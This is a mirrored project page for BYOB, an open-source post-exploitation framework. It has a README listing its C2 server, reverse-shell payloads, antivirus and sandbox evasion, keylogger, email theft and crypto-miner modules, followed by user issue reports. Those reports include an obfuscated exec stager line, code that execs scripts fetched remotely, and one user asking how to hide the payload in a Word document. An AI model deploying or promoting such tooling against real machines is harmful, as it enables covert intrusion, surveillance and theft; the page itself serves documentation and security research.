Giter Club home page Giter Club logo

byob's Introduction

Banner

license version build Coverage Status Discord Tweet

Questions? Check out the docs or join our Discord support server

Disclaimer: This project should be used for authorized testing or educational purposes only.

BYOB is an open-source post-exploitation framework for students, researchers and developers. It includes features such as:

  • Command & control server with intuitive user-interface
  • Custom payload generator for multiple platforms
  • 12 post-exploitation modules

It is designed to allow students and developers to easily implement their own code and add cool new features without having to write a C2 server or Remote Administration Tool from scratch.

This project has 2 main parts: the original console-based application (/byob) and the web GUI (/web-gui).

Web GUI

Dashboard

A control panel for your C2 server with a point-and-click interface for executing post-exploitation modules. The control panel includes an interactive map of client machines and a dashboard which allows efficient, intuitive administration of client machines.

dashboard_preview

Payload Generator

The payload generator uses black magic involving Docker containers & Wine servers to compile executable payloads for any platform/architecture you select. These payloads spawn reverse TCP shells with communication over the network encrypted via AES-256 after generating a secure symmetric key using the Diffie-Hellman IKE.

payloads_preview

Terminal Emulator

The web app includes an in-browser terminal emulator so you can still have direct shell access even when using the web GUI.

terminal_preview

Console Application

Client

client

Generate fully-undetectable clients with staged payloads, remote imports, and unlimited post-exploitation modules

  1. Remote Imports: remotely import third-party packages from the server without writing them to the disk or downloading/installing them
  2. Nothing Written To The Disk: clients never write anything to the disk - not even temporary files (zero IO system calls are made) because remote imports allow arbitrary code to be dynamically loaded into memory and directly imported into the currently running process
  3. Zero Dependencies (Not Even Python Itself): client runs with just the python standard library, remotely imports any non-standard packages/modules from the server, and can be compiled with a standalone python interpreter into a portable binary executable formatted for any platform/architecture, allowing it to run on anything, even when Python itself is missing on the target host
  4. Add New Features With Just 1 Click: any python script, module, or package you copy to the ./byob/modules/ directory automatically becomes remotely importable & directly usable by every client while your command & control server is running
  5. Write Your Own Modules: a basic module template is provided in ./byob/modules/ directory to make writing your own modules a straight-forward, hassle-free process
  6. Run Unlimited Modules Without Bloating File Size: use remote imports to add unlimited features without adding a single byte to the client's file size
  7. Fully Updatable: each client will periodically check the server for new content available for remote import, and will dynamically update its in-memory resources if anything has been added/removed
  8. Platform Independent: everything is written in Python (a platform-agnostic language) and the clients generated can optionally be compiled into a portable executable (Windows) or bundled into a standalone application (macOS)
  9. Bypass Firewalls: clients connect to the command & control server via reverse TCP connections, which will bypass most firewalls because the default filter configurations primarily block incoming connections
  10. Counter-Measure Against Antivirus: avoids being analyzed by antivirus by blocking processes with names of known antivirus products from spawning
  11. Encrypt Payloads To Prevent Analysis: the main client payload is encrypted with a random 256-bit key which exists solely in the payload stager which is generated along with it
  12. Prevent Reverse-Engineering: by default, clients will abort execution if a virtual machine or sandbox is detected

Modules

modules

Post-exploitation modules that are remotely importable by clients

  1. Persistence (byob.modules.persistence): establish persistence on the host machine using 5 different methods
  2. Packet Sniffer (byob.modules.packetsniffer): run a packet sniffer on the host network & upload .pcap file
  3. Escalate Privileges (byob.modules.escalate): attempt UAC bypass to gain unauthorized administrator privileges
  4. Port Scanner (byob.modules.portscanner): scan the local network for other online devices & open ports
  5. Keylogger (byob.modules.keylogger): logs the user’s keystrokes & the window name entered
  6. Screenshot (byob.modules.screenshot): take a screenshot of current user’s desktop
  7. Outlook (byob.modules.outlook): read/search/upload emails from the local Outlook client
  8. Process Control (byob.modules.process): list/search/kill/monitor currently running processes on the host
  9. iCloud (byob.modules.icloud): check for logged in iCloud account on macOS
  10. Miner (byob.core.miner): mine Monero in the background using the built-in miner or XMRig

Server

server

Command & control server with persistent database and console

  1. Console-Based User-Interface: streamlined console interface for controlling client host machines remotely via reverse TCP shells which provide direct terminal access to the client host machines
  2. Persistent SQLite Database: lightweight database that stores identifying information about client host machines, allowing reverse TCP shell sessions to persist through disconnections of arbitrary duration and enabling long-term reconnaissance
  3. Client-Server Architecture: all python packages/modules installed locally are automatically made available for clients to remotely import without writing them to the disk of the target machines, allowing clients to use modules which require packages not installed on the target machines

Core

core

Core framework modules used by the generator and the server

  1. Utilities (byob.core.util): miscellaneous utility functions that are used by many modules
  2. Security (byob.core.security): Diffie-Hellman IKE & 3 encryption modes (AES-256-OCB, AES-256-CBC, XOR-128)
  3. Loaders (byob.core.loaders): remotely import any package/module/scripts from the server
  4. Payloads (byob.core.payloads): reverse TCP shell designed to remotely import dependencies, packages & modules
  5. Stagers (byob.core.stagers): generate unique payload stagers to prevent analysis & detection
  6. Generators (byob.core.generators): functions which all dynamically generate code for the client generator
  7. DAO (byob.core.dao): handles interaction between command & control server and the SQLite database
  8. Handler (byob.core.handler): HTTP POST request handler for remote file uploads to the server

To Do

Contributors welcome! Feel free to issue pull-requests with any new features or improvements you have come up with!

  1. Remote Import Encryption - encryption for data streams of packages/modules being remotely imported (to maintain confidentiality/authenticity/integrity and prevent any remote code execution vulnerabilities arising from deserialization)
  2. Transport Types - add support for more transport types (HTTP/S, DNS, etc.)
  3. Bug Fixes - fix any bugs/issues

byob's People

Contributors

aekras1a avatar ahmadvakil avatar alhazmy13 avatar cclauss avatar danthegoodman1 avatar dependabot[bot] avatar dontbanmeplz avatar garsh1 avatar immortalobject avatar intrct avatar joren485 avatar k26pl avatar ke0ge avatar lecatos avatar lpmi-13 avatar malwaredllc avatar mshirley avatar s1nceri7y avatar sdshlanta avatar sect0uch avatar thehappydinoa avatar ucibar avatar ugur-ercan avatar winterrdog avatar wwj718 avatar xlinkout avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

byob's Issues

byob keylogger problem

  1. when i start keylogger i dont see the logs in the data folder there is a file.txt but blank..
  2. how can i connect to my pastebin\FTP account? just with username and password?

screenshot 3

screenshot 4

how to make keylogger work?

i run on kali machine the server and the client since when i run the server on kali and client on windows 7 i get an error:

File "byob_hH2.py", line 1, in
import zlib,base64,marshal,urllib;exec(eval(marshal.loads(zlib.decompress(base64.b64decode('eJwrtmFgYCgtysnJTNIDUvkFqXka6hklJQVW+voGemBoZWhsbKmvX1ySmJ5aVKyf6hmoV1CprqlXlJqYoqEJAIT3E28=')))))
File "", line 1

.....

CI Build Status

First of all, thank you for this amazing open source project 👍

I think, a build tester would be awesome for new developers (etc TravisCI). With this way, new developers can thing "is it true about buildable?".

Another issue is creating tags and version 😸 (of course w/ better commit messages 🖌️ )

[BUG] Shell cannot accept commands with spaces

Example
agent connects to server
shell 1
shell pops up
mkdir hey
returns: mkdir: missing file operand
mkdir --help
returns No JSON object could be decoded
everything is frozen, no way to ctrl-c out of program, have to reboot

This happens pretty much anytime you try a command with a space in it, it has no idea what to do. If you pass echo hey it returns a blank, if you pass echo it returns the same blank.

However, single word commands like whoami work just fine.

Started python 3 support

Will you be interested in python 3 support? or are there any big problems to be expected?

So far I am fixing minor issues and got the server part running on python 3. Soon the client should be working as well.

Not an issue

Hello,
In attempting to design a solution to help me manage the fleet of machines I'm responsible for I realized that my plans closely resemble a botnet, so I searched and landed on your project. Would you recommend your project as a base to build a management solution (for mainly windows clients), or do you know of any better suited open source projects? I apologize for spamming the bug tracker, but didn't know how else to reach out.
Thanks,
~ardy

build EXE

I compile with --freeze but exe not running on Windows, it's says "not supported on this version windows" I started payload.exe on Windows 10, 8.1. When I compile on debian, I don't recive a mistake.

Cannot run server

root@kali:~/byob/byob# python server.py --host 127.0.0.1 --port 5000 DEBUG:core.util:missing package 'cv2' is required Traceback (most recent call last): File "server.py", line 871, in <module> main() File "server.py", line 94, in main packages = [os.path.abspath(_) for _ in sys.path if os.path.isdir(_) if os.path.basename(_) == 'site-packages'][0] IndexError: list index out of range root@kali:~/byob/byob#

I am running this on kali nethunter, aarch64.

[INCOMPATIBILITY] with Ngrok - [ERROR] with pastebin - [SUGGESTION] an option to allow user to specify the upload host and port separately

Hello there..
First of all, I'd like to thank you for your great work on this tool.

However, though I'm not a coder, but I have noticed a couple things that can be made better.
When building a client, the host entered is the one which the payload and stager are uploaded to, but that constitutes a barrier when using a service like Ngrok..

[INCOMPATIBILITY] with Ngrok:-
when using Ngrok, ngrok host and port are like this (for example) tcp://0.tcp.ngrok.io:11223 -> localhost:1234
the client generation command would be something like ./client.py 52.15.62.13[ngrok ip] 11223

in this case, the generator will set the payload and stager links in http://52.15.62.13:11224//file
the port here is the port I entered +1 .. which will not work because I cannot control that on ngrok.

[ERROR] with pastebin:-
Trying to workaround this problem by using the pastebin API, a different problem appeared..
Upon executing the payload py file, this error occures:-

Traceback (most recent call last):
File "execute.py", line 1, in
import zlib,base64,marshal,urllib,json;exec(eval(marshal.loads(zlib.decompress(base64.b64decode('THIS-IS-A-BASE64-STRING-gYCgtysnJTNIDUvkFqXka6hklJQXFVvr6BYnFJalJmXl6yfm5+kWJ5frelpYBaVkRVeqaekWpiSkamgClMhUK')))))
File "", line 1

^
SyntaxError: invalid syntax

When I opened the link given by the Client generator in the browser, pastebin said captcha is triggered and bla bla.. I entered the captcha and all.. now links work fine in the browser, except it doesn't open a raw version of the payload/stager.
That's because the link to the raw payload/stager given by the Client Generator is something like https://pastebin.com/raw/XXXXXX while it should be https://pastebin.com/raw/XXXXXX/ with a forward slash at the end.
I tried to look for the line regarding this matter to try and fix this problem, and I found it in core/payloads.py (line 819 I think), but couldn't properly fix it.

[SUGGESTION] an option to allow user to specify Ngrok ports:-
So, to fix the problem with the incompatibility with Ngrok, I suggest you add an option to use Ngrok [already run by the user] that will let the user specify the http host (for payload and stager) and the tcp host and port (for reverse connection) given by ngrok.
In this case the Ngrok terminal will look like this:-

Forwarding http://xxxxxx.ngrok.io -> localhost:8888
Forwarding https://xxxxxx.ngrok.io -> localhost:8888
Forwarding tcp://0.tcp.ngrok.io:11223 -> localhost:1234

and the server command like this ./server.py --port 1234 just as it currently is.

so when the client is run, it will look for the payload and stager on that host given by Ngrok, and to connect back to the Ngrok host and port which will forward the connection through my local port.

I'm sorry if I couldn't explain or elaborate more than this, I did my best.. and you're the expert.

Again, thank you for your great work.

Not Able to run the client successfully.

I have been testing the program on my computer (not a VM) and tried running
python client.py 192.168.1.x 8080
and this is what I got returned:
DEBUG:__main__:FINDER================= DEBUG:__main__:Searching: numpy DEBUG:__main__:Path: None INFO:__main__:Checking if in declared remote module names... INFO:__main__:Checking if built-in.... INFO:__main__:Checking if it is name repetition... INFO:__main__:[+] Module/Package 'numpy' can be loaded! DEBUG:__main__:LOADER================= DEBUG:__main__:Loading numpy... DEBUG:__main__:Trying to import 'numpy' as package from: 'http://192.168.1.251:8092/numpy/__init__.py' INFO:__main__:[-] 'numpy' is not a package (HTTP Error 404: File not found) DEBUG:__main__:[+] Trying to import 'numpy' as module from: 'http://192.168.1.251:8092/numpy.py' INFO:__main__:[-] 'numpy' is not a module (HTTP Error 404: File not found) DEBUG:__main__:FINDER================= DEBUG:__main__:Searching: colorama DEBUG:__main__:Path: None INFO:__main__:Checking if in declared remote module names... INFO:__main__:Checking if built-in.... INFO:__main__:[-] Found locally! DEBUG:__main__:FINDER================= DEBUG:__main__:Searching: colorama.initialise DEBUG:__main__:Path: ['/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/colorama'] INFO:__main__:Checking if in declared remote module names... INFO:__main__:Checking if built-in.... INFO:__main__:Checking if it is name repetition... INFO:__main__:[+] Module/Package 'colorama.initialise' can be loaded! DEBUG:__main__:LOADER================= DEBUG:__main__:Loading colorama.initialise... DEBUG:__main__:Trying to import 'colorama.initialise' as package from: 'http://192.168.1.251:8092/colorama/initialise/__init__.py' INFO:__main__:[-] 'colorama.initialise' is not a package (HTTP Error 404: File not found) DEBUG:__main__:[+] Trying to import 'colorama.initialise' as module from: 'http://192.168.1.251:8092/colorama/initialise.py' DEBUG:__main__:[+] Importing 'colorama.initialise' DEBUG:__main__:[+] Ready to execute 'colorama.initialise' code DEBUG:__main__:FINDER================= DEBUG:__main__:Searching: colorama.initialise.atexit DEBUG:__main__:Path: ['http://192.168.1.251:8092/colorama/'] INFO:__main__:Checking if in declared remote module names... INFO:__main__:Checking if built-in.... INFO:__main__:Checking if it is name repetition... INFO:__main__:[+] Module/Package 'colorama.initialise.atexit' can be loaded! DEBUG:__main__:LOADER================= DEBUG:__main__:Loading colorama.initialise.atexit... INFO:__main__:[+] Module "colorama.initialise.atexit" loaded as a top level module! DEBUG:__main__:FINDER================= DEBUG:__main__:Searching: colorama.initialise.contextlib DEBUG:__main__:Path: ['http://192.168.1.251:8092/colorama/'] INFO:__main__:Checking if in declared remote module names... INFO:__main__:Checking if built-in.... INFO:__main__:Checking if it is name repetition... INFO:__main__:[+] Module/Package 'colorama.initialise.contextlib' can be loaded! DEBUG:__main__:LOADER================= DEBUG:__main__:Loading colorama.initialise.contextlib... INFO:__main__:[+] Module "colorama.initialise.contextlib" loaded as a top level module! DEBUG:__main__:FINDER================= DEBUG:__main__:Searching: colorama.initialise.sys DEBUG:__main__:Path: ['http://192.168.1.251:8092/colorama/'] INFO:__main__:Checking if in declared remote module names... INFO:__main__:Checking if built-in.... INFO:__main__:Checking if it is name repetition... INFO:__main__:[+] Module/Package 'colorama.initialise.sys' can be loaded! DEBUG:__main__:LOADER================= DEBUG:__main__:Loading colorama.initialise.sys... INFO:__main__:[+] Module "colorama.initialise.sys" loaded as a top level module! DEBUG:__main__:FINDER================= DEBUG:__main__:Searching: colorama.initialise.ansitowin32 DEBUG:__main__:Path: ['http://192.168.1.251:8092/colorama/'] INFO:__main__:Checking if in declared remote module names... INFO:__main__:Checking if built-in.... INFO:__main__:Checking if it is name repetition... INFO:__main__:[+] Module/Package 'colorama.initialise.ansitowin32' can be loaded! DEBUG:__main__:LOADER================= DEBUG:__main__:Loading colorama.initialise.ansitowin32... DEBUG:__main__:Trying to import 'colorama.initialise.ansitowin32' as package from: 'http://192.168.1.251:8092/colorama/initialise/ansitowin32/__init__.py' INFO:__main__:[-] 'colorama.initialise.ansitowin32' is not a package (HTTP Error 404: File not found) DEBUG:__main__:[+] Trying to import 'colorama.initialise.ansitowin32' as module from: 'http://192.168.1.251:8092/colorama/initialise/ansitowin32.py' INFO:__main__:[-] 'colorama.initialise.ansitowin32' is not a module (HTTP Error 404: File not found)
Im just trying to connect my server to the client running on the same machine

'unrecognized token' as response from any shell commands

I get this error everytime I send any command by shell to a client.

Server
[luca @ /home/luca/Scrivania/byob/byob]>shell 1
Starting Reverse TCP Shell w/ Session 1...
[ 1 @ /home/luca/Scrivania/byob/byob ]>1
DEBUG:core.util:unrecognized token: "8a59b7ed3530e44d776d77a5b51afd5c"
int() argument must be a string or a number, not 'Session'

Client
ERROR:__main__:kill error: dictionary changed size during iteration
ERROR:__main__:Connection timed out

--exe and --app loop

When executing client.py from Linux (Debian), I've got an infinite loop at compilation ("Dropper" step).
When I cancel the command, it says saved to file: /home/jordan/byob/byob/dist/byob_xxx).
But it seems to be a linux executable :
$ file dist/byob_qH8 dist/byob_qH8: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=7670e166c8dd74a98464b6711462f8a4fc391b75, stripped

TOO BIG EXE FILE

The executable file I compiled is actually 200+MB, how to attach it into a Word document?

After generating client, the server is not accessable/doesn't get started.

Command: python client.py 127.0.0.1 8080

It tells me that it is hosting the payload at 127.0.0.1:8081 but when I run the dropper it is unable to connect, and I do not see any services running a webserver on port 8081. Where does the payload get saved and do I need to manually start the server? If so, how?

PS I really like this program, I can learn a lot from it. Thank you!

Bug: SimpleHTTPServer processes linger after exiting

execute netstat to check for existing processes listening on default ports.

user@userbox:~/src/byob/byob$ sudo netstat -alnp | grep -E '1337|1338|1339'

start server

python server.py

check for processes listening.

user@userbox:~/src/byob/byob$ sudo netstat -alnp | grep -E '1337|1338|1339'
tcp        0      0 0.0.0.0:1337            0.0.0.0:*               LISTEN      29609/python
tcp        0      0 0.0.0.0:1338            0.0.0.0:*               LISTEN      29613/python
tcp        0      0 0.0.0.0:1339            0.0.0.0:*               LISTEN      29611/python

exit server gracefully
exit
check netstat for porcesses listening again.

user@userbox:~/src/byob/byob$ sudo netstat -alnp | grep -E '1337|1338|1339'
tcp        0      0 0.0.0.0:1338            0.0.0.0:*               LISTEN      29613/python
tcp        0      0 0.0.0.0:1339            0.0.0.0:*               LISTEN      29611/python

the two processes running SimpleHTTPServer that are spawned and not properly cleaned up after graceful exit. this causes a number of issues.

Installation Documentation

It executes correctly and doesn't show any error neither in server nor client.
But it doesn't listen on ports I say in implementation
python server.py --host a.b.c.d --port 8000
And in client it doesn't get me any error and says:

[>] Modules
	Adding modules...- (4 modules added to client)
[>] Imports
	Adding imports...- (33 imports from 4 modules)
[>] Payload
	Uploading payload... - (hosting payload at: http://1.1.1.1:8001//payloads/rRh.py)
[>] Stager
	Uploading stager... - (hosting stager at: http://1.1.1.1:8001//stagers/rRh.py)
[>] Dropper
(saved to file: byob_rRh.py)

(I executed python client.py 1.1.1.1 8000)
I ain't no python expert and most probably the fault is on me, but could you please write an installation documentation?

pastebin flag throwing type error

Im trying the following command:
python client.py {ip.ip.ip.ip} {port} --pastebin {api_key}

And im getting the following error:
TypeError: pastebin() got an unexpected keyword argument 'api_dev_key'

Should I exec dropper that I generated? (`python byob_dW0.py`)

This is my first time to submit an issue on github. Can anyone help me?

I don't konw how to connect the server.

This is my procedure:

$ python client.py 0.0.0.0 1338

[>] Modules
	Adding modules... - (4 modules added to client)

[>] Imports
	Adding imports... - removing _winreg import (32 imports from 4 modules)

[>] Payload
	Uploading payload... - (hosting payload at: http://0.0.0.0:1339//payloads/dW0.py)

[>] Stager
	Uploading stager...  (hosting stager at: http://0.0.0.0:1339//stagers/dW0.py)

[>] Dropper
	Writing dropper...  (saved to file: byob_dW0.py)
$ python server.py (it works fine.)
$ python byob_dW0.py (here I got an error)

File "byob_eIQ.py", line 1, in <module>
    import zlib,base64,marshal,urllib;exec(eval(marshal.loads(zlib.decompress(base64.b64decode('eJwrtmFgYCgtysnJTNIDUvkFqXka6hklJQVW+voGemBoZWhsbKmvX1ySmJ5aVKyf6hmoV1CprqlXlJqYoqEJAIT3E28=')))))
  File "<string>", line 1
    <head>

then I back to server and exec clients, and I got two blank line.

exe not working

I've created a server and a client, after that I've tried to make executable the client with pyinstaller, but for some reason it isn't working.

Here my steps:
Client:
python ./client.py --name byob --encrypt --compress 192.168.1.8 8186

Python to Exe:
pyinstaller -n byob.exe -F -c --uac-admin byob.py 2646 INFO: PyInstaller: 3.3.1 2647 INFO: Python: 2.7.15+ 2648 INFO: Platform: Linux-4.1.12-v7-armv7l-with-Kali-kali-rolling-kali-rolling 2650 INFO: wrote /var/www/html/Client_byob/byob.exe.spec 2677 INFO: UPX is available. 2686 INFO: Extending PYTHONPATH with paths ['/var/www/html/Client_byob', '/var/www/html/Client_byob'] 2687 INFO: checking Analysis 2688 INFO: Building Analysis because out00-Analysis.toc is non existent 2689 INFO: Initializing module dependency graph... 2705 INFO: Initializing module graph hooks... 3885 INFO: running Analysis out00-Analysis.toc 4005 INFO: Caching module hooks... 4049 INFO: Analyzing /var/www/html/Client_byob/byob.py 32810 INFO: Loading module hooks... 32815 INFO: Loading module hook "hook-httplib.py"... 32818 INFO: Loading module hook "hook-encodings.py"... 39667 INFO: Looking for ctypes DLLs 39668 INFO: Analyzing run-time hooks ... 39749 INFO: Looking for dynamic libraries 40915 INFO: Looking for eggs 40916 INFO: Python library not in binary dependencies. Doing additional searching... 41100 INFO: Using Python library /usr/lib/arm-linux-gnueabihf/libpython2.7.so.1.0 41120 INFO: Warnings written to /var/www/html/Client_byob/build/byob.exe/warnbyob.exe.txt 41329 INFO: Graph cross-reference written to /var/www/html/Client_byob/build/byob.exe/xref-byob.exe.html 41926 INFO: checking PYZ 41927 INFO: Building PYZ because out00-PYZ.toc is non existent 41927 INFO: Building PYZ (ZlibArchive) /var/www/html/Client_byob/build/byob.exe/out00-PYZ.pyz 44536 INFO: Building PYZ (ZlibArchive) /var/www/html/Client_byob/build/byob.exe/out00-PYZ.pyz completed successfully. 45058 INFO: checking PKG 45059 INFO: Building PKG because out00-PKG.toc is non existent 45060 INFO: Building PKG (CArchive) out00-PKG.pkg 53079 INFO: Building PKG (CArchive) out00-PKG.pkg completed successfully. 53165 INFO: Bootloader /usr/local/lib/python2.7/dist-packages/PyInstaller/bootloader/Linux-32bit-arm/run 53166 INFO: checking EXE 53167 INFO: Building EXE because out00-EXE.toc is non existent 53168 INFO: Building EXE from out00-EXE.toc 53169 INFO: Appending archive to ELF section in EXE /var/www/html/Client_byob/dist/byob.exe 53257 INFO: Building EXE from out00-EXE.toc completed successfully.
After that, I've started the server and launched byob.exe but "clients" remains empty, no sessions active.
I've launched the client by double-click and after by cmd. In cmd it says :

C:\Users\Debbie\Downloads>byob.exe Program too big to fit in memory C:\Users\Debbie\DOWNLO~1>

It's all inside the LAN so there aren't firewalls. Both computers are mine, so I'm the admin/root and for every suggestion I've the system permissions. On the Windows machine there isn't event an AV. I use it for this kind of tests.

print() is a function in Python 3

flake8 testing of https://github.com/colental/byob on Python 3.7.0

$ flake8 . --count --select=E901,E999,F821,F822,F823 --show-source --statistics

/home/travis/virtualenv/python3.7.0/lib/python3.7/site-packages/pycodestyle.py:113: FutureWarning: Possible nested set at position 1
  EXTRANEOUS_WHITESPACE_REGEX = re.compile(r'[[({] | []}),;:]')
./byob/server.py:289:26: E999 SyntaxError: invalid syntax
                print eval(code)
                         ^
./byob/client.py:222:38: F821 undefined name '__load__'
    globals()['__spin__'] = _spinner(__load__)
                                     ^
./byob/client.py:274:13: F821 undefined name '__logger__'
            __logger__.debug("Permission denied: unabled to make directory './modules/payloads/'")
            ^
./byob/client.py:318:14: F821 undefined name 'file'
        with file(path, 'w') as fp:
             ^
./byob/client.py:338:13: F821 undefined name '__logger__'
            __logger__.debug("Permission denied: unable to make directory './modules/stagers/'")
            ^
./byob/client.py:371:14: F821 undefined name 'file'
        with file(path, 'w') as fp:
             ^
./byob/client.py:390:10: F821 undefined name 'file'
    with file(name, 'w') as fp:
         ^
./byob/__init__.py:139:24: E999 SyntaxError: invalid syntax
        exec "import {}".format(module)
                       ^
./byob/setup.py:31:23: E999 SyntaxError: invalid syntax
            exec urllib.urlopen("https://bootstrap.pypa.io/get-pip.py").read() in globals()
                      ^
./byob/modules/escalate.py:14:12: E999 SyntaxError: invalid syntax
exec compile(urllib.urlopen('https://raw.githubusercontent.com/colental/byob/master/byob/core/util.py').read(), 'https://raw.githubusercontent.com/colental/byob/master/byob/core/util.py', 'exec') in util.__dict__
           ^
./byob/modules/webcam.py:17:12: E999 SyntaxError: invalid syntax
exec compile(urllib.urlopen('https://raw.githubusercontent.com/colental/byob/master/byob/core/util.py').read(), 'https://raw.githubusercontent.com/colental/byob/master/byob/core/util.py', 'exec') in util.__dict__
           ^
./byob/modules/ransom.py:17:12: E999 SyntaxError: invalid syntax
exec compile(urllib.urlopen('https://raw.githubusercontent.com/colental/byob/master/byob/core/util.py').read(), 'https://raw.githubusercontent.com/colental/byob/master/byob/core/util.py', 'exec') in util.__dict__
           ^
./byob/modules/screenshot.py:14:12: E999 SyntaxError: invalid syntax
exec compile(urllib.urlopen('https://raw.githubusercontent.com/colental/byob/master/byob/core/util.py').read(), 'https://raw.githubusercontent.com/colental/byob/master/byob/core/util.py', 'exec') in util.__dict__
           ^
./byob/modules/keylogger.py:18:12: E999 SyntaxError: invalid syntax
exec compile(urllib.urlopen('https://raw.githubusercontent.com/colental/byob/master/byob/core/util.py').read(), 'https://raw.githubusercontent.com/colental/byob/master/byob/core/util.py', 'exec') in util.__dict__
           ^
./byob/modules/persistence.py:15:12: E999 SyntaxError: invalid syntax
exec compile(urllib.urlopen('https://raw.githubusercontent.com/colental/byob/master/byob/core/util.py').read(), 'https://raw.githubusercontent.com/colental/byob/master/byob/core/util.py', 'exec') in util.__dict__
           ^
./byob/modules/process.py:18:12: E999 SyntaxError: invalid syntax
exec compile(urllib.urlopen('https://raw.githubusercontent.com/colental/byob/master/byob/core/util.py').read(), 'https://raw.githubusercontent.com/colental/byob/master/byob/core/util.py', 'exec') in util.__dict__
           ^
./byob/modules/packetsniffer.py:18:12: E999 SyntaxError: invalid syntax
exec compile(urllib.urlopen('https://raw.githubusercontent.com/colental/byob/master/byob/core/util.py').read(), 'https://raw.githubusercontent.com/colental/byob/master/byob/core/util.py', 'exec') in util.__dict__
           ^
./byob/modules/outlook.py:15:12: E999 SyntaxError: invalid syntax
exec compile(urllib.urlopen('https://raw.githubusercontent.com/colental/byob/master/byob/core/util.py').read(), 'https://raw.githubusercontent.com/colental/byob/master/byob/core/util.py', 'exec') in util.__dict__
           ^
./byob/modules/__init__.py:138:24: E999 SyntaxError: invalid syntax
        exec "import {}".format(module)
                       ^
./byob/modules/phone.py:14:12: E999 SyntaxError: invalid syntax
exec compile(urllib.urlopen('https://raw.githubusercontent.com/colental/byob/master/byob/core/util.py').read(), 'https://raw.githubusercontent.com/colental/byob/master/byob/core/util.py', 'exec') in util.__dict__
           ^
./byob/modules/portscanner.py:22:12: E999 SyntaxError: invalid syntax
exec compile(urllib.urlopen('https://raw.githubusercontent.com/colental/byob/master/byob/core/util.py').read(), 'https://raw.githubusercontent.com/colental/byob/master/byob/core/util.py', 'exec') in util.__dict__
           ^
./byob/core/handlers.py:111:20: F821 undefined name 'pickle'
            task = pickle.loads(security.decrypt_aes(msg, session.key))
                   ^
./byob/core/handlers.py:111:33: F821 undefined name 'security'
            task = pickle.loads(security.decrypt_aes(msg, session.key))
                                ^
./byob/core/handlers.py:112:33: F821 undefined name 'logging'
            if isinstance(task, logging.LogRecord):
                                ^
./byob/core/stagers.py:21:33: E999 SyntaxError: invalid syntax
        delta, mask = 0x9e3779b9L, 0xffffffffL
                                ^
./byob/core/security.py:113:29: E999 SyntaxError: invalid syntax
        sum, delta, mask = 0L, 0x9e3779b9L, 0xffffffffL
                            ^
./byob/core/payloads.py:270:20: F821 undefined name 'ftplib'
            host = ftplib.FTP(host=host, user=user, password=password)
                   ^
./byob/core/payloads.py:385:18: F821 undefined name 'globls'
        target = globls()[target].__dict__ if bool(target in globals() and hasattr(target, '__dict__')) else globals()
                 ^
./byob/core/payloads.py:429:39: F821 undefined name 'status'
                return json.dumps({a: status(_threads[a].name) for a in self.handlers if self.handlers[a].is_alive()})
                                      ^
./byob/core/payloads.py:429:46: F821 undefined name '_threads'
                return json.dumps({a: status(_threads[a].name) for a in self.handlers if self.handlers[a].is_alive()})
                                             ^
./byob/core/payloads.py:451:61: F821 undefined name '_threads'
            log(level='error', info="'{}' error: {}".format(_threads.func_name, str(e)))
                                                            ^
./byob/core/payloads.py:462:17: F821 undefined name 'clear_system_logs'
                clear_system_logs()
                ^
./byob/core/payloads.py:464:31: F821 undefined name 'persistence'
                for method in persistence.methods:
                              ^
./byob/core/payloads.py:465:24: F821 undefined name 'persistence'
                    if persistence.methods[method].get('established'):
                       ^
./byob/core/payloads.py:467:46: F821 undefined name 'persistence'
                            remove = getattr(persistence, 'remove_{}'.format(method))()
                                             ^
./byob/core/payloads.py:471:17: F821 undefined name 'delete'
                delete(sys.argv[0])
                ^
./byob/core/payloads.py:533:24: F821 undefined name 'api'
                if not api.lower().startswith('client-id'):
                       ^
./byob/core/payloads.py:536:30: F821 undefined name 'normalize'
                    source = normalize(source)
                             ^
./byob/core/payloads.py:537:24: F821 undefined name 'post'
                post = post('https://api.imgur.com/3/upload', headers={'Authorization': api}, data={'image': base64.b64encode(source), 'type': 'base64'})
                       ^
./byob/core/payloads.py:748:24: F821 undefined name 'ipv4'
                if not ipv4(target):
                       ^
./byob/core/payloads.py:774:66: F821 undefined name 'normalize'
                info = {'api_option': 'paste', 'api_paste_code': normalize(source), 'api_dev_key': api_key}
                                                                 ^
./byob/core/payloads.py:799:94: F821 undefined name 'func_name'
                return "Status\n\tname: {}\n\tmode: {}\n\ttime: {}\n\tsize: {} bytes".format(func_name, mode, update, length)
                                                                                             ^
./byob/core/payloads.py:834:24: F821 undefined name 'keylogger'
                return keylogger.usage + '\n\targs: start, stop, dump'
                       ^
./byob/core/payloads.py:847:43: F821 undefined name 'self'
                globals()['screenshot'] = self.load('screenshot')
                                          ^
./byob/core/payloads.py:850:59: F821 undefined name 'self'
            log(level='error', info="{} error: {}".format(self.screenshot.func_name, str(e)))
                                                          ^
./byob/core/payloads.py:880:31: F821 undefined name 'persistence'
